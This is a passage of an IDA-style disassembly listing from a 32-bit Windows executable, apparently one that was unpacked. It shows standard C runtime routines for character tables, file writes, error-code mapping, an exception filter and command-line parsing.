loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_4CDA64, ebx
		jz	short loc_41EABE


loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43


loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C


loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------


loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh


loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4CDA64, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 26302CBh
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_4CDA64, 1
		nop
		jmp	near ptr 28A1CA8h
; ---------------------------------------------------------------------------


loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_4CDA58
		mov	dword_4CDA64, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4CEF00
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		mov	dword_4CEDE4, eax
		mov	dword_4CEDFC, eax
		mov	dword_4CF004, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4CEDE4
		call	near ptr 28A138Dh
		nop
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h


loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx


loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4CF004
		push	dword_4CEDE4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4CF004
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4CEDE4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4CF004
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_4CEF01[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_4CEE00[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------


loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_4CEF01[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------


loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_4CEE00[eax], 0


loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------


loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_4CEF01[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_4CEE00[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------


loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_4CEF01[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------


loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_4CEE00[eax], 0


loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC


loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_4CF034, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_4CF034, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]


loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4CEF01[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76


loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0


loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]


loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4CEDE0
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8


loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch


loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF


loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]


loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E


loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18


loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi


loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		nop
		call	near ptr 2670ADCh
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------


loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		call	near ptr 2670ADCh
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1


loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_4CD9B4, 1Ch
		mov	dword_4CD9B8, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh


loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4CD9B8, ecx
		mov	eax, offset dword_436100


loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_436268
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_4CD9B4, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_436104[edx*8]
		mov	dword_4CD9B4, eax
		retn
; ---------------------------------------------------------------------------


loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_4CD9B4, 8
		jbe	short locret_41EFAA


loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_4CD9B4, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------


loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_4CDA68
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4CDA68, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_4362E0
		mov	edx, dword_4362E4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:436270h[esi*4]


loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022


loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_4362EC
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_4362EC, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_4362EC, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_4362EC, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_4362EC, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_4362EC, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_4362EC, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_4362EC, 8Ah


loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_4362EC
		push	8
		call	ebx
		pop	ecx
		mov	dword_4362EC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------


loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_4CDA68, eax


loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------


loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h


loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_436268, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]


loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E


loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E


loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_4CF034, 0
		jnz	short loc_41F13D
		call	sub_41ECF1


loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_4CF02C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F


loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------


loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179


loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------


loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179


loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173


loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C


loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1


loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_4CDA00
		xor	edi, edi


loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi


loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------


loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4CD9DC, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_4CDA00
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp


loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp


loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_4CDA00
		call	sub_417C3B
		pop	ecx
		mov	dword_4CDA00, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4CF030, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CF034, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1


loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		mov	eax, dword_4CF02C
		mov	off_4CD9EC, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax


loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx


loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4CD9D4, esi
		pop	edi
		pop	esi
		mov	dword_4CD9D0, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C


loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------


loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi


loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax


loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C


loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387


loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


